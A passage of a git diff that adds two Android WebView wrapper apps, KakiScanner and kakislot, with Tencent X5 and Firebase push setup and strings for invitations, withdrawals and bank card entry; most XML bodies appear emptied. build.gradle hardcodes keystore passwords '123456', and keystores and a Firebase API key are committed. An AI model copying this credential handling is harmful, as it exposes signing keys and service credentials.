a/kakinew/proguard-rules.pro b/kakinew/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/kakinew/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/kakinew/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/kakinew/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/kakinew/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/kakinew/src/main/AndroidManifest.xml b/kakinew/src/main/AndroidManifest.xml new file mode 100644 index 0000000..054091e --- /dev/null +++ b/kakinew/src/main/AndroidManifest.xml @@ -0,0 +1,47 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/kakinew/src/main/java/com/web/justlet/MainActivity.java b/kakinew/src/main/java/com/web/justlet/MainActivity.java new file mode 100644 index 0000000..c1064d3 --- /dev/null +++ b/kakinew/src/main/java/com/web/justlet/MainActivity.java @@ -0,0 +1,40 @@ +package com.web.justlet; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.os.Bundle; +import com.web.base.MainActivity2; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 157; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://kakiscanner.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#01052a"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#01052a"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(true); + + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/kakinew/src/main/java/com/web/justlet/WebApplication.java b/kakinew/src/main/java/com/web/justlet/WebApplication.java new file mode 100644 index 0000000..f672ae2 --- /dev/null +++ b/kakinew/src/main/java/com/web/justlet/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.justlet; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/kakinew/src/main/res/drawable-anydpi/ic_action_back.xml b/kakinew/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/kakinew/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/kakinew/src/main/res/drawable-hdpi/ic_action_back.png b/kakinew/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/kakinew/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/kakinew/src/main/res/drawable-mdpi/ic_action_back.png b/kakinew/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/kakinew/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/kakinew/src/main/res/drawable-v24/ic_launcher_foreground.xml b/kakinew/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/kakinew/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/kakinew/src/main/res/drawable-xhdpi/ic_action_back.png b/kakinew/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/kakinew/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/kakinew/src/main/res/drawable-xxhdpi/ic_action_back.png b/kakinew/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/kakinew/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/kakinew/src/main/res/drawable/big_bg.xml b/kakinew/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..0271569 --- /dev/null +++ b/kakinew/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/kakinew/src/main/res/drawable/ic_launcher_background.xml b/kakinew/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/kakinew/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/kakinew/src/main/res/drawable/input_bg.xml b/kakinew/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/kakinew/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/kakinew/src/main/res/drawable/pass_word_bg.xml b/kakinew/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/kakinew/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/kakinew/src/main/res/drawable/pass_word_bg1.xml b/kakinew/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/kakinew/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/kakinew/src/main/res/drawable/pass_word_bg2.xml b/kakinew/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/kakinew/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/kakinew/src/main/res/drawable/shape_btn_bg.xml b/kakinew/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/kakinew/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/kakinew/src/main/res/drawable/shape_dialog_bg2.xml b/kakinew/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/kakinew/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/kakinew/src/main/res/drawable/shape_dialog_bg3.xml b/kakinew/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/kakinew/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/kakinew/src/main/res/drawable/shape_dialog_bg_new.xml b/kakinew/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/kakinew/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/kakinew/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/kakinew/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/kakinew/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/kakinew/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/kakinew/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/kakinew/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/kakinew/src/main/res/mipmap-hdpi/ic_empty.png b/kakinew/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/kakinew/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/kakinew/src/main/res/mipmap-hdpi/ic_pull_down.png b/kakinew/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/kakinew/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/kakinew/src/main/res/mipmap-xhdpi/ic_close.png b/kakinew/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/kakinew/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/kakinew/src/main/res/mipmap-xhdpi/ic_menu.png b/kakinew/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/kakinew/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/kakinew/src/main/res/mipmap-xxhdpi/app_logo.jpg b/kakinew/src/main/res/mipmap-xxhdpi/app_logo.jpg new file mode 100644 index 0000000..1b065c7 Binary files /dev/null and b/kakinew/src/main/res/mipmap-xxhdpi/app_logo.jpg differ diff --git a/kakinew/src/main/res/values-en/strings.xml b/kakinew/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/kakinew/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/kakinew/src/main/res/values-night/themes.xml b/kakinew/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..4319365 --- /dev/null +++ b/kakinew/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/kakinew/src/main/res/values/colors.xml b/kakinew/src/main/res/values/colors.xml new file mode 100644 index 0000000..f29d588 --- /dev/null +++ b/kakinew/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #01052a + #FFFFFFFF + #EF4723 + #FFFFFFFF + + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/kakinew/src/main/res/values/strings.xml b/kakinew/src/main/res/values/strings.xml new file mode 100644 index 0000000..c06afb5 --- /dev/null +++ b/kakinew/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + KakiScanner + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/kakinew/src/main/res/values/themes.xml b/kakinew/src/main/res/values/themes.xml new file mode 100644 index 0000000..010048c --- /dev/null +++ b/kakinew/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/kakinew/src/main/res/xml/app_updater_paths.xml b/kakinew/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/kakinew/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/kakinew/src/main/res/xml/network_security_config.xml b/kakinew/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/kakinew/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/kakinew/src/main/res/xml/provider_paths.xml b/kakinew/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/kakinew/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/kakinew/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/kakinew/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/kakinew/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/kakislot/.gitignore b/kakislot/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/kakislot/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/kakislot/build.gradle b/kakislot/build.gradle new file mode 100644 index 0000000..d25ccd9 --- /dev/null +++ b/kakislot/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.dskj.kakislot" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + release { + storeFile file('justlet.jks') + storePassword "123456" + keyAlias 'key0' + keyPassword "123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "kakislot" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/kakislot/dskjweb.jks b/kakislot/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/kakislot/dskjweb.jks differ diff --git a/kakislot/google-services.json b/kakislot/google-services.json new file mode 100644 index 0000000..d0332bd --- /dev/null +++ b/kakislot/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "125153222156", + "project_id": "kakislot-b8a4a", + "storage_bucket": "kakislot-b8a4a.appspot.com" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:125153222156:android:765aad1a22c038c3cfd829", + "android_client_info": { + "package_name": "com.dskj.kakislot" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyC3ilcR_2c63AvRx18an5PHpDvje3gkr-k" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/kakislot/justlet.jks b/kakislot/justlet.jks new file mode 100644 index 0000000..a33b839 Binary files /dev/null and b/kakislot/justlet.jks differ diff --git a/kakislot/ppn.jks b/kakislot/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/kakislot/ppn.jks differ diff --git a/kakislot/proguard-rules.pro b/kakislot/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/kakislot/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/kakislot/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/kakislot/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/kakislot/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/kakislot/src/main/AndroidManifest.xml b/kakislot/src/main/AndroidManifest.xml new file mode 100644 index 0000000..5d2bbfa --- /dev/null +++ b/kakislot/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/kakislot/src/main/java/com/dskj/kakislot/MainActivity.java b/kakislot/src/main/java/com/dskj/kakislot/MainActivity.java new file mode 100644 index 0000000..5e7a21d --- /dev/null +++ b/kakislot/src/main/java/com/dskj/kakislot/MainActivity.java @@ -0,0 +1,50 @@ +package com.dskj.kakislot; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import com.bumptech.glide.Glide; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 27; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://kakislot.vip/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#FFFFFF"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#FFFFFF"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",0); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(true); +// showTopV1.setImageResource(R.mipmap.start_gifs); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/kakislot/src/main/java/com/dskj/kakislot/MyFirebaseMessageingService.java b/kakislot/src/main/java/com/dskj/kakislot/MyFirebaseMessageingService.java new file mode 100644 index 0000000..b7d766d --- /dev/null +++ b/kakislot/src/main/java/com/dskj/kakislot/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.dskj.kakislot; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/kakislot/src/main/java/com/dskj/kakislot/WebApplication.java b/kakislot/src/main/java/com/dskj/kakislot/WebApplication.java new file mode 100644 index 0000000..cc737ae --- /dev/null +++ b/kakislot/src/main/java/com/dskj/kakislot/WebApplication.java @@ -0,0 +1,35 @@ +package com.dskj.kakislot; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/kakislot/src/main/res/drawable-anydpi/ic_action_back.xml b/kakislot/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/kakislot/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/kakislot/src/main/res/drawable-hdpi/ic_action_back.png b/kakislot/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and 